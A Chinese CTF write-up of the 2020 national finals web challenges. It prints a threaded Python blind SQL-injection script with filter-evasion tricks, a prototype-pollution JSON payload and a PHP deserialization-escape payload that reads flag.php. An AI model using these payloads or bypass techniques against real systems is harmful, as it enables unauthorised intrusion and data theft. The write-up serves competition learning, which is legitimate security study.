2020国赛决赛-web-WriteUp
ylbnb
web题不是很难,都比较眼熟,估计是ylb临时找的题
签到
解压出s2.txt
内容:
c3ludHt6bGhhcnc2Mm9uYzIwOW1tfQ==
base64decode:
synt{zlharw62onc209mm}
凯撒解密:偏移量是13
flag{myunej62bap209zz}
web1
sql注入,id和limit过滤的不一样
过滤空格 ,用注释符绕过
过滤逗号,用from for和case when绕过
过滤等号,用regexp绕过
过滤substr,用mid绕过
布尔盲注
import requests
import time
import threading
import string
s1 = threading.Semaphore(30)#这儿设置最大的线程数
count = 60#预估字符数
result = []
for c in range(count):
result.append('')
def get_content(pos):
s1.acquire()
url = "http://172.1.27.10/?id=0/*1*/or/*1*/0/*&limit=1*/or/*1*/"
payload = 'case/*1*/when/*1*/((mid((select/*1*/flag/*1*/from/*1*/real_flag)/*1*/from/*1*/{}/*1*/for/*1*/1)regexp({})))/*1*/then/*1*/1/*1*/else/*1*/0/*1*/end'
headers = {
'Content-Type':'application/x-www-form-urlencoded'
}
for i in string.printable:
tmp_url = url+payload.format(str(pos),hex(ord(i)))
#print(tmp_url)
web = requests.post(tmp_url,headers=headers)
if 'this_is_a_fake' in web.text:
result[pos-1]=i
print(result)
print(''.join(result))
break
time.sleep(0.5)
s1.release()
for i in range(1,count):
t = threading.Thread(target=get_content, args=(i,))
t.start()
web2
打开源码看到DASCTF
真实惊到我了,后来才知道是ylb临时找y1ng师傅要的题。。。
不是很难
先把大体流程看一遍,搞明白游戏的具体流程,就能发现在计算玩家和怪物的buff的时候,有个bug
第一次计算buff时,在某些特定情况下,player.buff
和monster.buff
都是未赋值的。
也就是说我们可以利用原型链污染吧buff改成很大很大或负数,来赢得关卡
但是因为赋值的地方是这样写的
我们没有办法污染到monster
,只能改改player
于是乎,构造payload,要注意选的人物和物品都不要对player.buff
做更改
{"name":"Rayi","item":"ZLYG","career":"high_priest","__proto__":{"buff":100000}}
拿到flag
web3
反序列化逃逸
waf会过滤反序列化好的字符串,导致序列化的结构出现问题
从这里读文件
每过滤一个特定字符串,就可以多一个溢出的字符
update方法从更改密码处触发
payload不能直接写在更改密码的地方,有限制,因此要利用注册时的password写入payload
注册时pasword,利用S和16进制绕过flag关键字
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:12:"old_paswword";s:1:"1";s:12:"old_pacsword";s:1:"1";S:13:"\00User\00content";O:4:"User":6:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";s:3:"age";s:1:"c";s:5:"email";s:1:"d";S:12:"\00User\00avatar";S:8:"\66\6c\61\67\2e\70\68\70";S:13:"\00User\00content";s:0:"";}}
登录后,这里有个update
这里的old_password要填,因为之前注册时的password已经被过滤了
old_password=indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex&update_password=2&update_age=1&update_email=1@2.com
然后即可得到flag
ps:应该还有一个做法是利用phar,最后才发现